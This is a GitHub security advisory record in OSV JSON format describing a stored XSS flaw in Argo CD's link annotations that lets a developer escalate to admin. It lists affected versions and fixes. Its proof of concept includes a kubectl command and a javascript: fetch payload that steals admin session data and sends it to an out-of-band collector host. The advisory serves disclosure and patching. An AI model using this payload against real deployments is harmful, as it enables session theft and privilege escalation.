{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/argoproj/argo-cd/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.2.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.3.9"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/argoproj/argo-cd/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.3.0-rc1"
            },
            {
              "fixed": "3.3.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.4.1"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/argoproj/argo-cd/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.4.0-rc1"
            },
            {
              "fixed": "3.4.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/argoproj/argo-cd/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.14.21"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/argoproj/argo-cd"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.8.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45738"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-19T15:54:43Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA user with **application write access (developer role)** can set `link.argocd.argoproj.io/*` annotations on any ArgoCD Application. These annotation values are rendered in the Summary tab\u0027s **URLs section** as `\u003ca href\u003e` elements without URL validation. Using the pipe-separator trick (`Display Text | javascript:...`), an attacker can inject a `javascript:` URI while displaying a legitimate-looking label (e.g. `GitHub Repo`). When a higher-privileged user (admin) clicks the link, **arbitrary JavaScript executes in the ArgoCD origin context** in the admin\u0027s authenticated session context, enabling API exfiltration and privilege escalation from developer to admin.\n\n### Details\n\n**Vulnerable sink:** `ui/src/app/applications/components/application-summary/application-summary.tsx:277`\n\n```tsx\nconst parts = (url || \u0027\u0027).split(\u0027|\u0027);\n\u003ca key={i} href={parts.length \u003e 1 ? parts[1] : parts[0]} target=\u0027_blank\u0027\u003e\n    {parts[0]}\n\u003c/a\u003e\n```\n\nThe annotation value is split on `|`. `parts[0]` becomes the visible link label; `parts[1]` becomes the `href`. **No call to `isValidURL()` is made**, unlike the protected `ApplicationURLs` component (`application-urls.tsx:72,80`) which does validate URLs and blocks `javascript:`. The `target=\u0027_blank\u0027` opens a new tab that inherits the ArgoCD origin, giving the injected script same-origin fetch access to all ArgoCD APIs using the victim\u0027s authenticated session (credentialed `fetch()` calls).\n\n**Root cause:** React 16.x does not block `javascript:` URIs in `href` attributes (this protection was added in React 19). The helper `isValidURL()` exists in `shared/utils.ts` but is **not applied** to this sink.\n\n**CSP:** ArgoCD\u0027s default Content Security Policy is `frame-ancestors \u0027self\u0027` only \u2014 no `script-src`, no `connect-src`, no `default-src` \u2014 providing **zero XSS execution mitigation**.\n\n### PoC\n\n**Prerequisites:** Developer role with application write access (e.g. RBAC: `p, role:developer, applications, *, */*, allow`).\n\n**Step 1 \u2014 Set malicious annotation as developer:**\n\n```bash\nkubectl annotate application \u003capp-name\u003e -n argocd \\\n  \u0027link.argocd.argoproj.io/docs=GitHub Repo|javascript:fetch(\"https://\u003cargocd-host\u003e/api/v1/session/userinfo\",{credentials:\"include\"}).then(r=\u003er.json()).then(d=\u003efetch(\"https://xxx.oastify.com/?d=\"+btoa(JSON.stringify(d)),{mode:\"no-cors\"}))\u0027\n```\n\nThe URL section in the admin\u0027s Summary tab renders the link as **\"GitHub Repo\"** \u2014 the `javascript:` payload is invisible in the displayed text.\n\n**Step 2 \u2014 Admin opens Summary tab** of the annotated application and clicks the link.\n\n**Step 3 \u2014 JavaScript executes** at the ArgoCD origin and exfiltrates admin session data via out-of-band HTTP request. Tested with Burp Collaborator:\n\n```javascript\n// Payload used during testing (Burp Collaborator OOB):\nfetch(\"https://\u003cargocd-host\u003e/api/v1/session/userinfo\", {credentials:\"include\"})\n  .then(r =\u003e r.json())\n  .then(d =\u003e fetch(\"https://xxx.oastify.com/?d=\" + btoa(JSON.stringify(d)), {mode:\"no-cors\"}))\n```\n\n**Step 4 \u2014 Burp Collaborator received the OOB HTTP interaction** containing the base64-encoded admin session data. Decoded response:\n\n```json\n{\"iss\":\"argocd\",\"loggedIn\":true,\"username\":\"admin\"}\n```\n\n**Tested on:** ArgoCD v3.3.8 (commit 0850e97), React 16.9.3.\n\n### Impact\n\n- **Stored XSS** \u2014 payload persists in the Kubernetes Application resource until manually removed\n- **Privilege escalation** \u2014 developer role \u2192 admin session hijacking via authenticated API calls\n- **Maximum stealth** \u2014 the injected link displays as any attacker-chosen text; the `javascript:` href is never visible to the victim\n- **No server-side interaction required** \u2014 purely client-side exploit, no network egress needed for execution (exfiltration uses `no-cors` fetch, bypassed by absent `connect-src` CSP)\n- Any admin or operator who views the Summary tab of the compromised application is affected\n\n### Credits\n\nDiscovered and reported by **Jan Kahmen** ([jan@turingpoint.de](mailto:jan@turingpoint.de)) \u2014 [turingpoint.de](https://turingpoint.de)",
  "id": "GHSA-h98r-wv3h-fr38",
  "modified": "2026-05-19T15:54:43Z",
  "published": "2026-05-19T15:54:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/argoproj/argo-cd/security/advisories/GHSA-h98r-wv3h-fr38"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/argoproj/argo-cd"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Argo CD: Stored XSS in application link annotations enables developer-to-admin privilege escalation"
}